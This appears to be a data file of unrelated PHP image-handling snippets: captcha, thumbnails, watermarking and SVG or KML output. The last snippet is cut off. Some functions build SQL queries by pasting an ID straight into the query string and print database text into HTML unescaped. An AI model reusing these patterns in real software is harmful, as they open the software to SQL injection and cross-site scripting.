"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"function tampilPhoto($nrk=''){\n $rs=$this->mdl->get_data($nrk)->row();\n $result = $rs->X_PHOTO->load();\n// If any text (or whitespace!) is printed before this header is sent,\n// the text won't be displayed and the image won't display properly.\n// Comment out this line to see the text and debug such a problem.\n header(\"Content-type: image/JPEG\");\n echo $result;\n }",
"public function getImage() {}",
"function getImage();",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"public function getOpengraphImage();",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function getAbsolutePicture();",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"function kdw_row_tiles_txt_img (){ \r\n \r\n}",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function GetKullen() {\r\n\r\n $html = <<<EOD\r\n <!--HÄR KOMMER KULLEN -->\r\n <g id=\"kullen\">\r\n <path fill=\"none\" stroke=\"#41281B\" stroke-miterlimit=\"10\" d=\"M230.454,219.226c0-35.229-47.579-63.737-106.379-63.737h4.04\r\n c-66.987,0-121.191,28.508-121.191,63.737\"/>\r\n <line fill=\"none\" stroke=\"#00632E\" stroke-miterlimit=\"10\" x1=\"9.051\" y1=\"207.29\" x2=\"3.333\" y2=\"198.804\"/>\r\n <line fill=\"none\" stroke=\"#00632E\" stroke-miterlimit=\"10\" x1=\"13.208\" y1=\"203.047\" x2=\"19.941\" y2=\"183.991\"/>\r\n <line fill=\"none\" stroke=\"#00632E\" stroke-miterlimit=\"10\" x1=\"22.186\" y1=\"198.804\" x2=\"25.594\" y2=\"185.206\"/>\r\n <line fill=\"none\" stroke=\"#00632E\" stroke-miterlimit=\"10\" x1=\"31.611\" y1=\"192.004\" x2=\"32.06\" y2=\"175.687\"/>\r\n <line fill=\"none\" stroke=\"#00632E\" stroke-miterlimit=\"10\" x1=\"41.486\" y1=\"185.206\" x2=\"41.486\" y2=\"170.525\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"16.574\" y1=\"207.29\" x2=\"13.208\" y2=\"198.899\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"25.594\" y1=\"190.274\" x2=\"25.594\" y2=\"185.206\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"37.895\" y1=\"187.74\" x2=\"38.344\" y2=\"170.525\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"13.208\" y1=\"211.372\" x2=\"9.051\" y2=\"198.899\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"50.912\" y1=\"183.846\" x2=\"50.912\" y2=\"164.241\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"55.401\" y1=\"177.865\" x2=\"68.417\" y2=\"155.488\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"64.377\" y1=\"175.687\" x2=\"75.15\" y2=\"164.241\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"79.639\" y1=\"170.525\" x2=\"87.089\" y2=\"159.229\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"64.377\" y1=\"187.357\" x2=\"61.909\" y2=\"177.865\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"59.889\" y1=\"187.74\" x2=\"58.093\" y2=\"182.611\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"44.628\" y1=\"193.519\" x2=\"44.179\" y2=\"183.991\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"35.202\" y1=\"197.008\" x2=\"33.855\" y2=\"192.004\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"31.611\" y1=\"203.047\" x2=\"29.367\" y2=\"198.899\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"25.594\" y1=\"207.29\" x2=\"23.89\" y2=\"203.047\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"81.883\" y1=\"185.206\" x2=\"83.364\" y2=\"179.133\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"97.144\" y1=\"166.677\" x2=\"98.49\" y2=\"164.241\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"101.184\" y1=\"164.241\" x2=\"103.938\" y2=\"156.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"89.514\" y1=\"164.241\" x2=\"94.451\" y2=\"152.571\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"106.121\" y1=\"160.499\" x2=\"108.366\" y2=\"152.571\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"75.15\" y1=\"166.677\" x2=\"81.883\" y2=\"156.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"87.089\" y1=\"179.133\" x2=\"87.089\" y2=\"175.687\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"75.15\" y1=\"182.611\" x2=\"75.15\" y2=\"177.41\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"94.451\" y1=\"177.41\" x2=\"97.144\" y2=\"174.043\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"129.91\" y1=\"164.241\" x2=\"136.867\" y2=\"156.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"136.867\" y1=\"166.677\" x2=\"146.068\" y2=\"161.717\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"143.825\" y1=\"170.525\" x2=\"153.7\" y2=\"161.717\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"164.176\" y1=\"164.241\" x2=\"165.563\" y2=\"156.536\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"136.867\" y1=\"156.755\" x2=\"136.867\" y2=\"152.571\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"160.091\" y1=\"159.229\" x2=\"160.433\" y2=\"155.488\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"167.896\" y1=\"174.043\" x2=\"173.492\" y2=\"162.763\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"176.762\" y1=\"177.41\" x2=\"184.32\" y2=\"166.677\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"146.068\" y1=\"175.727\" x2=\"153.7\" y2=\"169.965\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"114.2\" y1=\"197.008\" x2=\"115.996\" y2=\"185.206\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"91.983\" y1=\"192.004\" x2=\"97.817\" y2=\"183.991\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"69.764\" y1=\"198.804\" x2=\"75.15\" y2=\"193.519\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"102.561\" y1=\"196.162\" x2=\"98.49\" y2=\"188.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"69.764\" y1=\"198.804\" x2=\"64.377\" y2=\"191.106\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"50.912\" y1=\"198.804\" x2=\"55.401\" y2=\"188.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"41.486\" y1=\"205.136\" x2=\"44.628\" y2=\"198.804\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"72.457\" y1=\"188.755\" x2=\"75.15\" y2=\"180.011\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"87.089\" y1=\"192.004\" x2=\"91.983\" y2=\"175.687\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"124.075\" y1=\"185.177\" x2=\"124.075\" y2=\"182.169\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"133.389\" y1=\"185.206\" x2=\"133.389\" y2=\"174.043\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"148.763\" y1=\"185.177\" x2=\"148.763\" y2=\"179.133\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"164.176\" y1=\"182.154\" x2=\"176.762\" y2=\"174.043\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"179.51\" y1=\"190.274\" x2=\"189.384\" y2=\"180.011\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"195.219\" y1=\"194.505\" x2=\"200.829\" y2=\"188.755\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"208.909\" y1=\"205.136\" x2=\"214.969\" y2=\"198.804\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"195.219\" y1=\"182.611\" x2=\"199.268\" y2=\"175.687\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"202.485\" y1=\"179.133\" x2=\"208.909\" y2=\"174.043\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"211.939\" y1=\"187.74\" x2=\"214.969\" y2=\"183.991\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"220.58\" y1=\"198.804\" x2=\"226.413\" y2=\"191.631\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"224.395\" y1=\"205.169\" x2=\"230.454\" y2=\"200.974\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"162.228\" y1=\"203.047\" x2=\"164.176\" y2=\"196.162\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"143.825\" y1=\"199.604\" x2=\"146.068\" y2=\"192.004\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"129.91\" y1=\"196.162\" x2=\"129.91\" y2=\"187.74\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"164.176\" y1=\"188.755\" x2=\"153.7\" y2=\"183.672\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"180.542\" y1=\"199.604\" x2=\"180.542\" y2=\"195.804\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"195.219\" y1=\"203.095\" x2=\"195.219\" y2=\"199.604\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"211.939\" y1=\"211.372\" x2=\"220.58\" y2=\"207.29\"/>\r\n <line fill=\"none\" stroke=\"#41A62A\" stroke-miterlimit=\"10\" x1=\"227.425\" y1=\"213.166\" x2=\"238.861\" y2=\"207.29\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"public function createImgUri() {\n\t\t$this->imgUri = FLICKR_FARM;\n\t\t$this->imgUri .= $this->photo['farm'];\n\t\t$this->imgUri .= '.';\n\t\t$this->imgUri .= STATICFLICKR;\n\t\t$this->imgUri .= $this->photo['server'];\n\t\t$this->imgUri .= '/';\n\t\t$this->imgUri .= $this->photo['id'];\n\t\t$this->imgUri .= '_';\n\t \t$this->imgUri .= $this->photo['secret'];\n\t\t$this->imgUri .= '.';\n\t \t$this->imgUri .= IMGEXT;\n\t}",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"public function getThumbnail() {\r return $this->Image()->CMSThumbnail();\r }",
"public function rutaImageFly()\n {\n\n // primero vemos a que galeria pertenece\n $galeria = ORM::factory( 'Galeria', $this->galeria );\n\n return( $galeria->rutaImageFly().$this->imagen );\n\n }",
"function make_kml_item($row)\n{\n\t$output = '';\n\t$url_end = '';\n\tif(strncmp($row['Ref_No'], 'NTGM', 4)==0)\n\t{\n\t\t$url_end = 'nottingham/' . $row['Ref_No'] . '.jpg';\n\t}\n\tif(strncmp($row['Ref_No'], 'DCHQ', 4)==0)\n\t{\n\t\t$url_end = 'derbyshire/' . $row['Ref_No'] . '.jpg';\n\t}\n\t$replace_chars = array('\u0019', '\u0018');\n\t$sanitised_date = str_replace($replace_chars, '\\'', $row['Date_of_Image']);\n\t$sanitised_description = str_replace($replace_chars, '\\'', htmlspecialchars_decode(htmlspecialchars_decode($row['Further_Information'])));\n\tob_start();\n?>\n\t<Placemark>\n\t\t<name><?php echo($row['Title'] . \" (#\" . $row['Ref_No'] . \")\"); ?></name>\n\t\t<description><![CDATA[\n\t\t<div><a href='#' class=\"image-<?php echo($row['Ref_No']); ?>\" style=\"float:right;\" onClick='$(\".image-<?php echo($row['Ref_No']); ?>\").hide(); $(\".text-<?php echo($row[\"Ref_No\"]); ?>\").show();'>\n\t\t<div class='button floatRight'>\n\t\t\t\t<ul class='ui-widget'>\n\t\t\t\t\t<li class='ui-state-default ui-corner-all' title='Show text'>Show text</li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t</a></div>\n\t\t<div><a class=\"text-<?php echo($row['Ref_No']); ?>\" style=\"float:right;display:none;\" href='#' onClick='$(\".image-<?php echo($row['Ref_No']); ?>\").show(); $(\".text-<?php echo($row[\"Ref_No\"]); ?>\").hide();'>\n\t\t\t<div class='button floatRight'>\n\t\t\t\t<ul class='ui-widget'>\n\t\t\t\t\t<li class='ui-state-default ui-corner-all' title='Show text'>Show photo</li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t</a></div>\n\t\t<div style=\"float:left;\">Date of image: <?php echo($sanitised_date); 